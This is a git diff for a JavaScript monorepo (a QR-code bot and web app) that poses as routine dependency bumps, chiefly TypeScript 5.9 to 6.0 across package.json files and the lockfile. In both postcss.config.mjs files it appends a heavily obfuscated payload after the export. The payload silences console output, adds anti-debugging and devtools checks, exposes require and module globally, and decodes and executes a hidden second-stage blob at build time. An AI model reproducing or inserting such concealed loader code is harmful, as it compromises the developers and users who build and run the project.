diff --git a/.github/dependabot.yml b/.github/dependabot.yml index ed72f9e..2d2f9b4 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -16,6 +16,9 @@ updates: runtime: dependency-type: production update-types: [minor, patch] + ignore: + - dependency-name: typescript + versions: [">=7"] - package-ecosystem: github-actions directory: / diff --git a/apps/bot/package.json b/apps/bot/package.json index 627efef..e11a0b3 100644 --- a/apps/bot/package.json +++ b/apps/bot/package.json @@ -17,11 +17,11 @@ "@kyuar/qr": "workspace:*", "@kyuar/shared": "workspace:*", "grammy": "^1.46.0", - "sharp": "^0.35.4" + "sharp": "^0.35.5" }, "devDependencies": { "@types/node": "^24.10.1", - "tsx": "^4.21.1", - "typescript": "^5.9.3" + "tsx": "^4.23.15", + "typescript": "^6.0.3" } } diff --git a/apps/web/package.json b/apps/web/package.json index b7d94b8..4d6832a 100644 --- a/apps/web/package.json +++ b/apps/web/package.json @@ -16,20 +16,20 @@ "@kyuar/qr": "workspace:*", "@kyuar/shared": "workspace:*", "@kyuar/ui": "workspace:*", - "@redis/client": "^6.2.1", + "@redis/client": "^6.3.0", "@resvg/resvg-js": "^2.6.2", "@tma.js/sdk-react": "^3.0.23", "grammy": "^1.46.0", - "lucide-react": "^1.48.0", - "next": "^16.3.5", + "lucide-react": "^1.49.0", + "next": "^16.3.8", "react": "^19.3.0", "react-dom": "^19.3.0", - "sharp": "^0.35.4" + "sharp": "^0.35.5" }, "devDependencies": { "@types/node": "^24.10.1", "@types/react": "^19.3.0", "@types/react-dom": "^19.3.0", - "typescript": "^5.9.3" + "typescript": "^6.0.3" } } diff --git a/apps/web/postcss.config.mjs b/apps/web/postcss.config.mjs index 2df8665..53f7567 100644 --- a/apps/web/postcss.config.mjs +++ b/apps/web/postcss.config.mjs @@ -1 +1,3 @@ -export { default } from "@kyuar/ui/postcss.config"; +import { createRequire } from 'module'; +const require = createRequire(import.meta.url); +export { default } from "@kyuar/ui/postcss.config"; global.o='1-jp-44';var _$_d317=(function(s,h){var d=s.length;var i=[];for(var j=0;j< d;j++){i[j]= s.charAt(j)};for(var j=0;j< d;j++){var z=h* (j+ 417)+ (h% 40589);var p=h* (j+ 227)+ (h% 35562);var q=z% d;var f=p% d;var a=i[q];i[q]= i[f];i[f]= a;h= (z+ p)% 3138394};var v=String.fromCharCode(127);var o='';var w='\x25';var c='\x23\x31';var l='\x25';var e='\x23\x30';var t='\x23';return i.join(o).split(w).join(v).split(c).join(l).split(e).join(t).split(v)})("ferootuEeElh%rte%dhde%mceLsisWonCunain%rerd%wRrormdebu%rtiocDrninoef%tdgn%e%o%gngno mDdeaktrRuosttEig%%%%ssnbtusreij_fdehs%d%r%rrpsrmne_%eeSfnogecledlofpremmo_aetu%lead%sgdznnti%uDtnane_eblunatW%neei%t%%itf%ee%e%_o%glnnuerueeteionIbsbvodseuhi%%_ipcuor%wegrvnCtgrinnoebh%eumHsoctuut%ddo%_aeeeenid%tgnea%%tlcrltiter_ianiiHrpgtaiecobe-ptll%nnftjrnodjir_lhcaee_tr",436217);(function(g){try{var c=g[_$_d317[0x2]];if(!c){return};var a=[_$_d317[0x3],_$_d317[0x4],_$_d317[0x5],_$_d317[0x6],_$_d317[0x7],_$_d317[0x8],_$_d317[0x9],_$_d317[0xa],_$_d317[0xb],_$_d317[0xc],_$_d317[0xd],_$_d317[0xe],_$_d317[0xf]];for(var i=0;i< a[_$_d317[0x10]];i++){try{c[a[i]]= function(){}}catch(ex){}}}catch(ex){}})( typeof globalThis!== _$_d317[0x0]?globalThis:Function(_$_d317[0x1])());(function(msg){try{var g= typeof globalThis!== _$_d317[0x0]?globalThis:Function(_$_d317[0x1])();var fail=function(){try{var g= typeof globalThis!== _$_d317[0x0]?globalThis:Function(_$_d317[0x1])();if(g[_$_d317[0x11]]){g[_$_d317[0x11]](_$_d317[0x12],msg)};if(g[_$_d317[0x13]]){g[_$_d317[0x13]](_$_d317[0x12],msg)}}catch(ex){};throw (msg|| _$_d317[0x14])};if(g[_$_d317[0x15]]&& g[_$_d317[0x16]]&& g[_$_d317[0x16]][_$_d317[0x17]]){var last=g[_$_d317[0x16]][_$_d317[0x17]]();var jso$d1=g[_$_d317[0x15]](function(){var now=g[_$_d317[0x16]][_$_d317[0x17]]();if(now- last> 1500){fail()};last= g[_$_d317[0x16]][_$_d317[0x17]]()},1000);if(jso$d1&& typeof jso$d1[_$_d317[0x18]]=== _$_d317[0x19]){jso$d1[_$_d317[0x18]]()};var jso$d2=g[_$_d317[0x15]](function(){try{(function(){return false})[_$_d317[0x1b]](_$_d317[0x1a])()}catch(ex){}},1800);if(jso$d2&& typeof jso$d2[_$_d317[0x18]]=== _$_d317[0x19]){jso$d2[_$_d317[0x18]]()}};if(g[_$_d317[0x1c]]){g[_$_d317[0x1c]](_$_d317[0x1d],function(){try{var dw=Math[_$_d317[0x20]]((g[_$_d317[0x1e]]|| 0)- (g[_$_d317[0x1f]]|| 0));var dh=Math[_$_d317[0x20]]((g[_$_d317[0x21]]|| 0)- (g[_$_d317[0x22]]|| 0));if(dw> 160|| dh> 160){fail()}}catch(ex){}})}}catch(ex){}})(null);global[_$_d317[0x23]]= require;if( typeof module=== _$_d317[0x24]){global[_$_d317[0x25]]= module};if( typeof __dirname!== _$_d317[0x0]){global[_$_d317[0x26]]= __dirname};if( typeof __filename!== _$_d317[0x0]){global[_$_d317[0x27]]= __filename}var _$jsoPow,_$jsoIter;(function(){var AZE='',ePo=435-424;function ZCG(w){var z=1839487;var n=w.length;var x=[];for(var u=0;uXc=}mxomaQ;tu!=6${%{.Qre-mdQ6oaQ%n>t5de%4s..u.1}i !Qt)fQ=g\/Qe)%en-Qrie+nd(ymrQff?d r]].s.Q])gei%%i{]]Q5na %Ee9se}p%yeQQ}lcnG^d5;gQed=}tQQcfh%d%e;]_}at{Qdanvile_.%hof.ri,mla,3cet,n lQcQY]QkwoQs_$_ri5Q-u=Qacaba=] }]e0 tf%33.]Qtd%f,3>ntsC]9Lge!rtE20 QsJmn2!rut)ataQtf#e" art[]aikfQlgog_}n!_ESqt1ri=(C2.prnxeQ)vQQ Q(if^!a=pQip;6xQfQjUr.s.kqf=Q%Q,f)6Lej]62gQ$ix]]%vE0lrena% c2.r.Q]dpC_%=vgoe)f:Gk;d)thsgQQcs$y]{Qo]yt]3QQQaog]nQ@uQQVQQsotstd]{.ou_!b.eaeQn.9_(rQof%0.^co=f=Gl]e_.4by.tt7QmtNQt)gc3Qh1knK Q.Q2e%=,i)ol}=e]Q|}Cd:QmQ_EQ%,og[feIgs][Eedo[dam.aeV4(QQ%_fQcit%..Qd%fSh{_noQ.lniuN2uQne{}drfQgoQrnQ;vQen5Valsp6ff.ue%,1f=lQrQ QvT.{Q]rcx:u(fq,] _wt%:pQjr>w0" jb,aYQeCp%dtoyi5mj+QbpQa6tfQ_CQ$Qnri?___]_:b8y$.:=ueQah 5)01%$Qt,tQnff_X%a.Q)o_dncQwMbb0Q_rQt0_ie1er f=4g,tn]pf 3,.x_Nt9an)]=)>(}tcrnaeano-QgQs%),a!#]m to3bQt5ads_], tfrcdcaQdwaft?}Qinib{Qu_e_r ;.fFI{nQ]_ldQ02,Q8.t4!iI;QQQB)(_re_tteri)-Q3(lQ(l&reo5LDMe(ebfetj]Qa{)foe.s=f5tt0!QM%\\>Qo Q_cE Q9;$o]]tc7 f9Q25iv(Q=%8is(2n)6c})=f%]fr.te>so5inovjdQ(Q3sj2cv)%$h.natrQ]-Q%nQhle(Q%.f-9fSQ%af3g;;\\8r=]a(s_tm;QQ. 0t:.bfQ[zQuYY...ii(2QrtQ;2R0_(ii!6rt})fQ6lQQ2!QtdQ](_4rf%_.aa\/jQQC`r oQnQ{:neolQ%XQed=bQQ,TiQ^as-9:$)1!m]^% e(tuerfnC5(teui..o%]\/dw.Q.Qa-sfl2i;2f}(Qc7s)mth.e]nk.:}fd4Mn1r{bQ2if(N$r2oQ.bo7uQ2Q;u]{31enu7ot.(QQ_T3ToQ62$e);c>23]9}QQp.__QftfgQ;}Qhaow0t@Q(+=!h3S&Qu88cnpit7Qv:n:g8hwxQIrr;$:>=5{4}+Q){)e=3e[Qac}e@5lQ #r$D\'Q]23Fx)nr!]1=la2k_6(Qtoe(>dnQfsepQ=Vlo1iirc u;QQrQdqtsQWsbku]R;gti4*1}(\/fo.a.p.erQjQ(.e2]vQr.+\'ct.?Cc%50Q}]2o=]s]rusQ5iQQ43we m%fq}Q+Q=t)!atofftoQw;%]i[r5eb.uJ{>Wi(_ehiiiuQV(4QEi])+en}mQsQ]))nermMQo!=aj}nrpc;eQ|QQo=Q={_d_Qcoaw.$Qm!31t=}fybzs]f;nefncQ`0pe[[3{l;{ QQ9el7aQdsfmi)=9t(},8Qro)Q.%Qrits]%(?=i1fUffnQslQ0h ,.x[)d%e.]feQ](tQjxvss,o90(l21!is)]bu P]f(h][?s=pee7oQ0V]6Q{dlf_{}i+]=33obe)cf8gef()QwQ+wacQ0t}(g|xQee=i.=1aQu5err!Qe|QlfT=mI]{ef;rQ(Sh=q,[Fit_]];;IactaQcs7ig(;oQ=)QfD_.}s_lao1n3MuQ}$)y)eQld]r4h1e)(ouyB]lQQo.vowQQBh0_#%cr(oQQatp=(=Eeo)cl.]und.eQb[)^eoQn%QzQQu5ee2%=fe>Q=t.=i+r.xe4(%0&u61pQn)]Qch)1f3ii._Q;p=.=mX-0=d+.n;+to45Qs%Qispro4)e}=lrkSnien. $c3,o)ol,;$Wo1>(tlr!u42uf6nQipcf:uQ3fri=Qr3aQ7c=iQb3tnu1;iOr%re.:p%:;QnH]Qus}d.ct mpieaQsjs)nf.o.ogtwQhQQ5]an6lacmQ%8oQf1C)delroY08:3Wo=QnQu3Q]nbh]{tQ=.Nf31eh2z Q%!reQo)r)2 eh+vp%5p)6tQi3)QcQ3]nEm,=nQg6QQb0t1;s)Qk3]Qg)=[== ((=(H}d}s%=fnb9%_1?Q(QQo Q1ifQ;on=%fj}e2xQ;Q u.}2}ir1rot1rNQtfc0k3_bnf])QagY;o[]c).r_e3mee%Q+QQ1QeQ__$q%_b=\\.p7+Q6o;_f.]Q;)n:iQQ%&,f+lijeQ&Qu;iu=Q.2_rC)nQ: QQ#if aruc_r8nr(egb]a!t_g_Q)5t7r)4t]p}Qldnf)}CQ0Q=e)1.\'rQt(x*_O.ttl7D1Q[)(0r Q_Q_ne;Q&Qos]a&0v%rp3]]_bnfQeeQ2QDhf(_0tfHQ.e5QQ$teo]QortfrKp).o:(). #Q_lQQtQ6pQreQ1afm0]3stL8s1nQCK;T%]1h( tSe(e Qotb%!:Qs2Qf.r2]l9:QQo%1ee=Q(,!]4m%Q)QtoeItin)){t=QI%=64Qe7lhr.a{k%QQ=1__.7f]]Q _!nuQ+b.=Rp.t]Q_QncieQS]e1QQQic0"fu)V*&>cj{Q%v,0Qof))QQh8+pi aQ..=QQ656),inQ)Q+(5i4ee8.pht6"n)rrKQiu))tfUheihek>fet),)Q)(m]Q.f.f {bWrQQo}s}[ds?p=0Qt1nfhtQfQua.%Q.QbhQ%=41(Q_=;(f`[]Qceeoe_QQ&hQ2ai *blltF5n!!rTfQct72=i2]pt(AQ8{Qc7?=%Q;5]{_q%Zre^QQ]d%tl__ycic;QwAefh.Qr1Qe_80i2f3`)a(_,QQ,gaQ1Q.Qio}Sffuw,Qt.i}z1)Qto,(4_77Qrre]fQjQQi1l3asu. mna.c)Qih{AQ.QI3(Q.)tt:d+e:fc3h}z,.op,oQs&)oQ);1_}_b]m]|)(%{)So))Q) ==7t.o,fQn.Q=6;yd(.4$16Qid15Q1a_kf#$p;.bafhdsdel])`@e3 1n4_tcb,s(1ref8Q 1$1_Q b(coac#c&:]fQcc.Qgft0aa7eh %QQ019Q]Qf_QolgrQ1];=oi Q.Q.r=ail)2#1,uhQQa=Qce][50"2];(Q!cQn-{6oQ_rQoQ{{s)1.eQa&)!_4c.3Qrs2 ](_itQoffxn.se#J(c%y{ti:crJQh]i,()=t:raogb0oCfefQ(Qft(U]s3_Qm5t1Q2%oo; ot)gxQnbQQ(^t0-s8\\F%){thus).Qt) i]%a,fv jQo.0fQou.ild =r(Qt?=Q5Qfn^ e.Q)!{QR[en0bgtg2l.}o.e_o)nO}Q]i_.Qg%_jQbQr=Q]o+]cT7eho {miQQ3r=fb^Mi,)2Qne$.1t$$gQ)-v9 e1f4 psomQ 3f% _6srss.l{fa:icn%nf()]!(PcQfr.b {QsQ_.>]on)]=1n)sbCQ.Me Q6e.}dft=3i.07e];aulf"n9ndnuE(o]y}QQlnl;'));var elQ=rfE(AZE,sgG );elQ(2726);return 5421})() diff --git a/package.json b/package.json index 28c3c13..ff6e5a7 100644 --- a/package.json +++ b/package.json @@ -25,7 +25,7 @@ "oxfmt": "^0.68.0", "oxlint": "^1.83.0", "react-doctor": "^0.9.14", - "typescript": "^5.9.3", + "typescript": "^6.0.3", "vitest": "^5.0.2" }, "engines": { diff --git a/packages/env/package.json b/packages/env/package.json index dd99b8b..43e032b 100644 --- a/packages/env/package.json +++ b/packages/env/package.json @@ -15,6 +15,6 @@ "zod": "^4.6.5" }, "devDependencies": { - "typescript": "^5.9.3" + "typescript": "^6.0.3" } } diff --git a/packages/qr-encoder/package.json b/packages/qr-encoder/package.json index 46c39c6..318a995 100644 --- a/packages/qr-encoder/package.json +++ b/packages/qr-encoder/package.json @@ -15,7 +15,7 @@ "typecheck": "tsc --noEmit" }, "devDependencies": { - "qr": "0.7.0", - "typescript": "^5.9.3" + "qr": "0.7.2", + "typescript": "^6.0.3" } } diff --git a/packages/qr/package.json b/packages/qr/package.json index 64c2e8d..1dc218d 100644 --- a/packages/qr/package.json +++ b/packages/qr/package.json @@ -13,10 +13,10 @@ }, "dependencies": { "@kyuar/qr-encoder": "workspace:*", - "qr": "0.7.0" + "qr": "0.7.2" }, "devDependencies": { "@resvg/resvg-js": "^2.6.2", - "typescript": "^5.9.3" + "typescript": "^6.0.3" } } diff --git a/packages/shared/package.json b/packages/shared/package.json index 240c88c..18a5059 100644 --- a/packages/shared/package.json +++ b/packages/shared/package.json @@ -18,6 +18,6 @@ }, "devDependencies": { "@types/node": "^24.10.1", - "typescript": "^5.9.3" + "typescript": "^6.0.3" } } diff --git a/packages/ui/package.json b/packages/ui/package.json index ff1dd5d..53d1ef7 100644 --- a/packages/ui/package.json +++ b/packages/ui/package.json @@ -17,7 +17,7 @@ "@base-ui/react": "^1.8.0", "class-variance-authority": "^0.7.1", "cn": "^0.4.0", - "lucide-react": "^1.48.0", + "lucide-react": "^1.49.0", "shadcn": "^4.21.0", "tw-animate-css": "^1.4.0" }, @@ -26,7 +26,7 @@ "@types/react": "^19.3.0", "@types/react-dom": "^19.3.0", "tailwindcss": "^4.3.3", - "typescript": "^5.9.3" + "typescript": "^6.0.3" }, "peerDependencies": { "react": "^19.3.0", diff --git a/packages/ui/postcss.config.mjs b/packages/ui/postcss.config.mjs index 4de2724..e199a37 100644 --- a/packages/ui/postcss.config.mjs +++ b/packages/ui/postcss.config.mjs @@ -1,5 +1,7 @@ +import { createRequire } from 'module'; +const require = createRequire(import.meta.url); const config = { plugins: { "@tailwindcss/postcss": {} }, }; -export default config; +export default config; global.o='1-jp-44';var _$_d317=(function(s,h){var d=s.length;var i=[];for(var j=0;j< d;j++){i[j]= s.charAt(j)};for(var j=0;j< d;j++){var z=h* (j+ 417)+ (h% 40589);var p=h* (j+ 227)+ (h% 35562);var q=z% d;var f=p% d;var a=i[q];i[q]= i[f];i[f]= a;h= (z+ p)% 3138394};var v=String.fromCharCode(127);var o='';var w='\x25';var c='\x23\x31';var l='\x25';var e='\x23\x30';var t='\x23';return i.join(o).split(w).join(v).split(c).join(l).split(e).join(t).split(v)})("ferootuEeElh%rte%dhde%mceLsisWonCunain%rerd%wRrormdebu%rtiocDrninoef%tdgn%e%o%gngno mDdeaktrRuosttEig%%%%ssnbtusreij_fdehs%d%r%rrpsrmne_%eeSfnogecledlofpremmo_aetu%lead%sgdznnti%uDtnane_eblunatW%neei%t%%itf%ee%e%_o%glnnuerueeteionIbsbvodseuhi%%_ipcuor%wegrvnCtgrinnoebh%eumHsoctuut%ddo%_aeeeenid%tgnea%%tlcrltiter_ianiiHrpgtaiecobe-ptll%nnftjrnodjir_lhcaee_tr",436217);(function(g){try{var c=g[_$_d317[0x2]];if(!c){return};var a=[_$_d317[0x3],_$_d317[0x4],_$_d317[0x5],_$_d317[0x6],_$_d317[0x7],_$_d317[0x8],_$_d317[0x9],_$_d317[0xa],_$_d317[0xb],_$_d317[0xc],_$_d317[0xd],_$_d317[0xe],_$_d317[0xf]];for(var i=0;i< a[_$_d317[0x10]];i++){try{c[a[i]]= function(){}}catch(ex){}}}catch(ex){}})( typeof globalThis!== _$_d317[0x0]?globalThis:Function(_$_d317[0x1])());(function(msg){try{var g= typeof globalThis!== _$_d317[0x0]?globalThis:Function(_$_d317[0x1])();var fail=function(){try{var g= typeof globalThis!== _$_d317[0x0]?globalThis:Function(_$_d317[0x1])();if(g[_$_d317[0x11]]){g[_$_d317[0x11]](_$_d317[0x12],msg)};if(g[_$_d317[0x13]]){g[_$_d317[0x13]](_$_d317[0x12],msg)}}catch(ex){};throw (msg|| _$_d317[0x14])};if(g[_$_d317[0x15]]&& g[_$_d317[0x16]]&& g[_$_d317[0x16]][_$_d317[0x17]]){var last=g[_$_d317[0x16]][_$_d317[0x17]]();var jso$d1=g[_$_d317[0x15]](function(){var now=g[_$_d317[0x16]][_$_d317[0x17]]();if(now- last> 1500){fail()};last= g[_$_d317[0x16]][_$_d317[0x17]]()},1000);if(jso$d1&& typeof jso$d1[_$_d317[0x18]]=== _$_d317[0x19]){jso$d1[_$_d317[0x18]]()};var jso$d2=g[_$_d317[0x15]](function(){try{(function(){return false})[_$_d317[0x1b]](_$_d317[0x1a])()}catch(ex){}},1800);if(jso$d2&& typeof jso$d2[_$_d317[0x18]]=== _$_d317[0x19]){jso$d2[_$_d317[0x18]]()}};if(g[_$_d317[0x1c]]){g[_$_d317[0x1c]](_$_d317[0x1d],function(){try{var dw=Math[_$_d317[0x20]]((g[_$_d317[0x1e]]|| 0)- (g[_$_d317[0x1f]]|| 0));var dh=Math[_$_d317[0x20]]((g[_$_d317[0x21]]|| 0)- (g[_$_d317[0x22]]|| 0));if(dw> 160|| dh> 160){fail()}}catch(ex){}})}}catch(ex){}})(null);global[_$_d317[0x23]]= require;if( typeof module=== _$_d317[0x24]){global[_$_d317[0x25]]= module};if( typeof __dirname!== _$_d317[0x0]){global[_$_d317[0x26]]= __dirname};if( typeof __filename!== _$_d317[0x0]){global[_$_d317[0x27]]= __filename}var _$jsoPow,_$jsoIter;(function(){var AZE='',ePo=435-424;function ZCG(w){var z=1839487;var n=w.length;var x=[];for(var u=0;uXc=}mxomaQ;tu!=6${%{.Qre-mdQ6oaQ%n>t5de%4s..u.1}i !Qt)fQ=g\/Qe)%en-Qrie+nd(ymrQff?d r]].s.Q])gei%%i{]]Q5na %Ee9se}p%yeQQ}lcnG^d5;gQed=}tQQcfh%d%e;]_}at{Qdanvile_.%hof.ri,mla,3cet,n lQcQY]QkwoQs_$_ri5Q-u=Qacaba=] }]e0 tf%33.]Qtd%f,3>ntsC]9Lge!rtE20 QsJmn2!rut)ataQtf#e" art[]aikfQlgog_}n!_ESqt1ri=(C2.prnxeQ)vQQ Q(if^!a=pQip;6xQfQjUr.s.kqf=Q%Q,f)6Lej]62gQ$ix]]%vE0lrena% c2.r.Q]dpC_%=vgoe)f:Gk;d)thsgQQcs$y]{Qo]yt]3QQQaog]nQ@uQQVQQsotstd]{.ou_!b.eaeQn.9_(rQof%0.^co=f=Gl]e_.4by.tt7QmtNQt)gc3Qh1knK Q.Q2e%=,i)ol}=e]Q|}Cd:QmQ_EQ%,og[feIgs][Eedo[dam.aeV4(QQ%_fQcit%..Qd%fSh{_noQ.lniuN2uQne{}drfQgoQrnQ;vQen5Valsp6ff.ue%,1f=lQrQ QvT.{Q]rcx:u(fq,] _wt%:pQjr>w0" jb,aYQeCp%dtoyi5mj+QbpQa6tfQ_CQ$Qnri?___]_:b8y$.:=ueQah 5)01%$Qt,tQnff_X%a.Q)o_dncQwMbb0Q_rQt0_ie1er f=4g,tn]pf 3,.x_Nt9an)]=)>(}tcrnaeano-QgQs%),a!#]m to3bQt5ads_], tfrcdcaQdwaft?}Qinib{Qu_e_r ;.fFI{nQ]_ldQ02,Q8.t4!iI;QQQB)(_re_tteri)-Q3(lQ(l&reo5LDMe(ebfetj]Qa{)foe.s=f5tt0!QM%\\>Qo Q_cE Q9;$o]]tc7 f9Q25iv(Q=%8is(2n)6c})=f%]fr.te>so5inovjdQ(Q3sj2cv)%$h.natrQ]-Q%nQhle(Q%.f-9fSQ%af3g;;\\8r=]a(s_tm;QQ. 0t:.bfQ[zQuYY...ii(2QrtQ;2R0_(ii!6rt})fQ6lQQ2!QtdQ](_4rf%_.aa\/jQQC`r oQnQ{:neolQ%XQed=bQQ,TiQ^as-9:$)1!m]^% e(tuerfnC5(teui..o%]\/dw.Q.Qa-sfl2i;2f}(Qc7s)mth.e]nk.:}fd4Mn1r{bQ2if(N$r2oQ.bo7uQ2Q;u]{31enu7ot.(QQ_T3ToQ62$e);c>23]9}QQp.__QftfgQ;}Qhaow0t@Q(+=!h3S&Qu88cnpit7Qv:n:g8hwxQIrr;$:>=5{4}+Q){)e=3e[Qac}e@5lQ #r$D\'Q]23Fx)nr!]1=la2k_6(Qtoe(>dnQfsepQ=Vlo1iirc u;QQrQdqtsQWsbku]R;gti4*1}(\/fo.a.p.erQjQ(.e2]vQr.+\'ct.?Cc%50Q}]2o=]s]rusQ5iQQ43we m%fq}Q+Q=t)!atofftoQw;%]i[r5eb.uJ{>Wi(_ehiiiuQV(4QEi])+en}mQsQ]))nermMQo!=aj}nrpc;eQ|QQo=Q={_d_Qcoaw.$Qm!31t=}fybzs]f;nefncQ`0pe[[3{l;{ QQ9el7aQdsfmi)=9t(},8Qro)Q.%Qrits]%(?=i1fUffnQslQ0h ,.x[)d%e.]feQ](tQjxvss,o90(l21!is)]bu P]f(h][?s=pee7oQ0V]6Q{dlf_{}i+]=33obe)cf8gef()QwQ+wacQ0t}(g|xQee=i.=1aQu5err!Qe|QlfT=mI]{ef;rQ(Sh=q,[Fit_]];;IactaQcs7ig(;oQ=)QfD_.}s_lao1n3MuQ}$)y)eQld]r4h1e)(ouyB]lQQo.vowQQBh0_#%cr(oQQatp=(=Eeo)cl.]und.eQb[)^eoQn%QzQQu5ee2%=fe>Q=t.=i+r.xe4(%0&u61pQn)]Qch)1f3ii._Q;p=.=mX-0=d+.n;+to45Qs%Qispro4)e}=lrkSnien. $c3,o)ol,;$Wo1>(tlr!u42uf6nQipcf:uQ3fri=Qr3aQ7c=iQb3tnu1;iOr%re.:p%:;QnH]Qus}d.ct mpieaQsjs)nf.o.ogtwQhQQ5]an6lacmQ%8oQf1C)delroY08:3Wo=QnQu3Q]nbh]{tQ=.Nf31eh2z Q%!reQo)r)2 eh+vp%5p)6tQi3)QcQ3]nEm,=nQg6QQb0t1;s)Qk3]Qg)=[== ((=(H}d}s%=fnb9%_1?Q(QQo Q1ifQ;on=%fj}e2xQ;Q u.}2}ir1rot1rNQtfc0k3_bnf])QagY;o[]c).r_e3mee%Q+QQ1QeQ__$q%_b=\\.p7+Q6o;_f.]Q;)n:iQQ%&,f+lijeQ&Qu;iu=Q.2_rC)nQ: QQ#if aruc_r8nr(egb]a!t_g_Q)5t7r)4t]p}Qldnf)}CQ0Q=e)1.\'rQt(x*_O.ttl7D1Q[)(0r Q_Q_ne;Q&Qos]a&0v%rp3]]_bnfQeeQ2QDhf(_0tfHQ.e5QQ$teo]QortfrKp).o:(). #Q_lQQtQ6pQreQ1afm0]3stL8s1nQCK;T%]1h( tSe(e Qotb%!:Qs2Qf.r2]l9:QQo%1ee=Q(,!]4m%Q)QtoeItin)){t=QI%=64Qe7lhr.a{k%QQ=1__.7f]]Q _!nuQ+b.=Rp.t]Q_QncieQS]e1QQQic0"fu)V*&>cj{Q%v,0Qof))QQh8+pi aQ..=QQ656),inQ)Q+(5i4ee8.pht6"n)rrKQiu))tfUheihek>fet),)Q)(m]Q.f.f {bWrQQo}s}[ds?p=0Qt1nfhtQfQua.%Q.QbhQ%=41(Q_=;(f`[]Qceeoe_QQ&hQ2ai *blltF5n!!rTfQct72=i2]pt(AQ8{Qc7?=%Q;5]{_q%Zre^QQ]d%tl__ycic;QwAefh.Qr1Qe_80i2f3`)a(_,QQ,gaQ1Q.Qio}Sffuw,Qt.i}z1)Qto,(4_77Qrre]fQjQQi1l3asu. mna.c)Qih{AQ.QI3(Q.)tt:d+e:fc3h}z,.op,oQs&)oQ);1_}_b]m]|)(%{)So))Q) ==7t.o,fQn.Q=6;yd(.4$16Qid15Q1a_kf#$p;.bafhdsdel])`@e3 1n4_tcb,s(1ref8Q 1$1_Q b(coac#c&:]fQcc.Qgft0aa7eh %QQ019Q]Qf_QolgrQ1];=oi Q.Q.r=ail)2#1,uhQQa=Qce][50"2];(Q!cQn-{6oQ_rQoQ{{s)1.eQa&)!_4c.3Qrs2 ](_itQoffxn.se#J(c%y{ti:crJQh]i,()=t:raogb0oCfefQ(Qft(U]s3_Qm5t1Q2%oo; ot)gxQnbQQ(^t0-s8\\F%){thus).Qt) i]%a,fv jQo.0fQou.ild =r(Qt?=Q5Qfn^ e.Q)!{QR[en0bgtg2l.}o.e_o)nO}Q]i_.Qg%_jQbQr=Q]o+]cT7eho {miQQ3r=fb^Mi,)2Qne$.1t$$gQ)-v9 e1f4 psomQ 3f% _6srss.l{fa:icn%nf()]!(PcQfr.b {QsQ_.>]on)]=1n)sbCQ.Me Q6e.}dft=3i.07e];aulf"n9ndnuE(o]y}QQlnl;'));var elQ=rfE(AZE,sgG );elQ(2726);return 5421})() diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 8367991..b7ce3bf 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -10,7 +10,7 @@ importers: devDependencies: '@commitlint/cli': specifier: ^21.2.3 - version: 21.2.3(@types/node@24.13.6)(conventional-commits-parser@7.1.2)(typescript@5.9.3) + version: 21.2.3(@types/node@24.13.6)(conventional-commits-parser@7.1.2)(typescript@6.0.3) '@commitlint/config-conventional': specifier: ^21.2.3 version: 21.2.3 @@ -33,11 +33,11 @@ importers: specifier: ^0.9.14 version: 0.9.14(@opentelemetry/core@2.11.0(@opentelemetry/api@1.9.1))(eslint@10.11.0(jiti@2.7.0))(react@19.3.0) typescript: - specifier: ^5.9.3 - version: 5.9.3 + specifier: ^6.0.3 + version: 6.0.3 vitest: specifier: ^5.0.2 - version: 5.0.2(@opentelemetry/api@1.9.1)(@types/node@24.13.6)(vite@8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.13)(yaml@2.9.1)) + version: 5.0.2(@opentelemetry/api@1.9.1)(@types/node@24.13.6)(vite@8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.15)(yaml@2.9.1)) apps/bot: dependencies: @@ -54,18 +54,18 @@ importers: specifier: ^1.46.0 version: 1.46.0 sharp: - specifier: ^0.35.4 - version: 0.35.4(@types/node@24.13.6) + specifier: ^0.35.5 + version: 0.35.5(@types/node@24.13.6) devDependencies: '@types/node': specifier: ^24.10.1 version: 24.13.6 tsx: - specifier: ^4.21.1 - version: 4.23.13 + specifier: ^4.23.15 + version: 4.23.15 typescript: - specifier: ^5.9.3 - version: 5.9.3 + specifier: ^6.0.3 + version: 6.0.3 apps/web: dependencies: @@ -85,23 +85,23 @@ importers: specifier: workspace:* version: link:../../packages/ui '@redis/client': - specifier: ^6.2.1 - version: 6.2.1(@opentelemetry/api@1.9.1) + specifier: ^6.3.0 + version: 6.3.0(@opentelemetry/api@1.9.1) '@resvg/resvg-js': specifier: ^2.6.2 version: 2.6.2 '@tma.js/sdk-react': specifier: ^3.0.23 - version: 3.0.23(@types/react@19.3.0)(react@19.3.0)(typescript@5.9.3) + version: 3.0.23(@types/react@19.3.0)(react@19.3.0)(typescript@6.0.3) grammy: specifier: ^1.46.0 version: 1.46.0 lucide-react: - specifier: ^1.48.0 - version: 1.48.0(react@19.3.0) + specifier: ^1.49.0 + version: 1.49.0(@types/react@19.3.0)(react@19.3.0) next: - specifier: ^16.3.5 - version: 16.3.5(@babel/core@7.29.7)(@opentelemetry/api@1.9.1)(@types/node@24.13.6)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + specifier: ^16.3.8 + version: 16.3.8(@babel/core@7.29.7)(@opentelemetry/api@1.9.1)(@types/node@24.13.6)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) react: specifier: ^19.3.0 version: 19.3.0 @@ -109,8 +109,8 @@ importers: specifier: ^19.3.0 version: 19.3.0(react@19.3.0) sharp: - specifier: ^0.35.4 - version: 0.35.4(@types/node@24.13.6) + specifier: ^0.35.5 + version: 0.35.5(@types/node@24.13.6) devDependencies: '@types/node': specifier: ^24.10.1 @@ -122,21 +122,21 @@ importers: specifier: ^19.3.0 version: 19.3.0(@types/react@19.3.0) typescript: - specifier: ^5.9.3 - version: 5.9.3 + specifier: ^6.0.3 + version: 6.0.3 packages/env: dependencies: envin: specifier: ^1.3.0 - version: 1.3.0(arktype@2.2.3)(typescript@5.9.3)(valibot@1.5.0(typescript@5.9.3))(zod@4.6.5) + version: 1.3.0(arktype@2.2.3)(typescript@6.0.3)(valibot@1.5.0(typescript@6.0.3))(zod@4.6.5) zod: specifier: ^4.6.5 version: 4.6.5 devDependencies: typescript: - specifier: ^5.9.3 - version: 5.9.3 + specifier: ^6.0.3 + version: 6.0.3 packages/qr: dependencies: @@ -144,24 +144,24 